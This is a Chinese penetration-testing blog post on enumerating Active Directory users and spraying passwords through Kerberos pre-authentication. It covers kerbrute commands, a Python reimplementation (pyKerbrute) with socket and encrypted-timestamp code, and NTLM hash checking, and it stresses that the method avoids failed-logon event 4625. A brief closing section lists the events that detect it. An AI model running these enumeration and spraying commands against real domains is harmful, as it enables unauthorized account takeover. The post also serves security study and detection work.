渗透技巧——通过 Kerberos pre-auth 进行用户枚举和口令爆破

发布于 2024-10-21 19:40:37 字数 7905 浏览 9 评论 0

0x00 前言

在之前的文章 《渗透基础——通过 LDAP 协议暴力破解域用户的口令》 介绍了通过 LDAP 协议暴力破解域用户口令的方法,最大的特点是会产生日志(4625 - An account failed to log on)

而使用 kerbrute 通过 Kerberos pre-auth 进行暴力破解时不会产生日志(4625 - An account failed to log on),于是我对 kerbrute 做了进一步的研究,使用 python 实现了相同的功能,并且添加支持 TCP 协议和 NTLM hash 的验证。本文将要记录自己的研究过程和学习心得。

0x01 简介

  • kerbrute 的介绍
  • kerbrute 的原理
  • 使用 python 实现 kerbrute 的细节
  • 开源代码 pyKerbrute
  • Kerberos pre-auth bruteforcing 的检测

0x02 kerbrute 的适用场景

适用场景:从域外对域用户进行用户枚举和口令暴力破解

由于没有域用户的口令,所以无法通过 LDAP 协议枚举出所有域用户,而且使用 LDAP 协议进行暴力破解时会产生日志(4625 - An account failed to log on)

使用 kerbrute 有如下优点:

  • 使用 Kerberos pre-auth bruteforcing 的速度更快
  • 不会产生日志(4625 - An account failed to log on)

注:Kerberos pre-auth 对应的端口默认为 88

0x03 kerbrute 测试

测试环境如下图

Alt text

kerbrute 使用 Go 语言开发,github 提供了编译好的文件,地址如下:https://github.com/ropnop/kerbrute/releases

kerbrute 主要包括以下两个功能:

1.用户枚举

用来验证用户是否存在,命令如下:

kerbrute_windows_amd64.exe userenum --dc 192.168.1.1 -d test.com user.txt

测试结果如下图

Alt text

适用场景:不掌握域用户的口令,所以无法通过 LDAP 协议枚举出所有域用户,可以使用这种方式来验证用户是否存在

2.口令验证

在确定了用户存在以后,可以使用这个功能来验证口令是否正确,命令如下:

kerbrute_windows_amd64.exe passwordspray -d test.com user.txt DomainUser123!

测试结果如下图

Alt text

如果登录成功,会产生日志(4768 - A Kerberos authentication ticket (TGT) was requested),如下图

Alt text

0x04 使用 python 实现 kerbrute 的细节

我的想法是实现 kerbrute 的两个主要功能:用户枚举和口令验证

通过 python 实现 kerberos 协议的部分我参考了 pykek

接下来通过抓包的方式获得 kerbrute 的数据包内容,然后通过 python 构造相同的数据包

kerbrute 使用 UDP 协议实现 Kerberos pre-auth,用来对明文口令进行验证

我在研究的过程中,发现通过 TCP 协议也能实现相同的功能,而且能够对 NTLM hash 进行验证

1.使用 python 实现用户枚举

使用 wireshark 抓取 kerbrute 用户枚举功能产生的数据包

使用 UDP 协议,用户枚举时发送的数据包内容如下图

Alt text

如果用户存在,返回的数据包内容如下图

Alt text

判断标志: error-code: eRR-PREAUTH-REQUIRED (25)

如果用户不存在,返回的数据包内容如图

Alt text

判断标志: error-code: eRR-C-PRINCIPAL-UNKNOWN (6)

接下来就是使用 python 实现发送 UDP 数据,发送的内容同 kerbrute 用户枚举时的数据包相同;接收返回内容,通过标志位来判断用户是否存在

通过 TCP 协议也能实现相同的功能,只是数据包格式不一样

TCP 数据包前面要加一段字符串 pack('>I', len(data))

具体的代码如下:

TCP:

def send_req_tcp(req, kdc, port=88):
    data = encode(req)
    data = pack('>I', len(data)) + data
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((kdc, port))
    sock.send(data)
    return sock

def recv_rep_tcp(sock):
    data = ''
    datalen = None
    while True:
        rep = sock.recv(8192)
        if not rep:
            sock.close()
            raise IOError('Connection error')
        data += rep
        if len(rep) >= 4:
            if datalen is None:
                datalen = unpack('>I', rep[:4])[0]
            if len(data) >= 4 + datalen:
                sock.close()
                return data[4:4 + datalen]

UDP:

def send_req_udp(req, kdc, port=88):
    data = encode(req)
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect((kdc, port))
    sock.send(data)
    return sock

def recv_rep_udp(sock):
    data = ''
    datalen = None
    while True:
        rep = sock.recv(8192)
        if not rep:
            sock.close()
            raise IOError('Connection error')
        data += rep
        if len(rep) >= 4:
            sock.close()
            return data

2.使用 python 实现口令验证

使用 wireshark 抓取 kerbrute 口令验证功能产生的数据包

使用 UDP 协议,口令验证时发送的数据包内容如图

Alt text

相比用户枚举,在口令验证时多了一部分内容(padata)

具体差异如下:

用户枚举发送的数据包格式如下图

Alt text

口令验证发送的数据包格式如下图

Alt text

所以在实现上需要添加 padata 段的内容

如果口令正确,返回的数据包内容如下图

Alt text

如果口令错误,返回的数据包内容如下图

Alt text

具体的数据包结构可以参考 RFC 文档,地址如下:https://tools.ietf.org/html/rfc1510

计算 padata-value 需要先将明文口令转换成 NTLM hash 再进行计算

所以说这个位置不仅可以使用明文口令,也可以使用 NTLM hash

部分加密的 python 代码如下:

使用明文口令:

clearpassword = DomainUser123!
user_key = (RC4_HMAC, ntlm_hash(clearpassword).digest())
pa_ts = build_pa_enc_timestamp(current_time, user_key)
as_req['padata'][0]['padata-value'] = encode(pa_ts)

使用 NTLM hash:

ntlmhash = e00045bd566a1b74386f5c1e3612921b
user_key = (RC4_HMAC, ntlmhash.decode('hex'))
pa_ts = build_pa_enc_timestamp(current_time, user_key)
as_req['padata'][0]['padata-value'] = encode(pa_ts)

0x05 开源代码 pyKerbrute

完整的实现代码已上传至 github,地址如下:https://github.com/3gstudent/pyKerbrute

pyKerbrute 是对 kerbrute 的 python 实现,相比于 kerbrute,多了以下两个功能:

  • 增加对 TCP 协议的支持
  • 增加对 NTLM hash 的验证

pyKerbrute 分为用户枚举和口令验证两个功能

1.EnumADUser.py

用户枚举功能,支持 TCP 和 UDP 协议

命令实例:

EnumADUser.py 192.168.1.1 test.com user.txt tcp

结果输出如下图

Alt text

2.ADPwdSpray.py

口令验证功能,支持 TCP 和 UDP 协议,支持明文口令和 NTLM hash

命令实例 1:

ADPwdSpray.py 192.168.1.1 test.com user.txt clearpassword DomainUser123! tcp

结果输出如下图

Alt text

命令实例 2:

ADPwdSpray.py 192.168.1.1 test.com user.txt ntlmhash e00045bd566a1b74386f5c1e3612921b udp

结果输出如下图

Alt text

0x06 Kerberos pre-auth bruteforcing 的检测

Kerbrute 使用 Kerberos pre-auth 协议,不会产生日志(4625 - An account failed to log on)

但是会产生以下日志:

  • 口令验证成功时产生日志(4768 - A Kerberos authentication ticket (TGT) was requested)
  • 口令验证失败时产生日志(4771 - Kerberos pre-authentication failed)

0x07 小结

本文对 kerbrute 进行了测试分析,使用 python 实现了相同的功能,并且添加支持 TCP 协议和 NTLM hash 的验证,开源代码,介绍脚本编写的细节,给出 Kerberos pre-auth bruteforcing 的检测方法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

一杯敬自由

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

懂王

文章 0 评论 0

清秋悲枫

文章 0 评论 0

niceone-tech

文章 0 评论 0

小伙你站住

文章 0 评论 0

刘涛

文章 0 评论 0

南街九尾狐

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文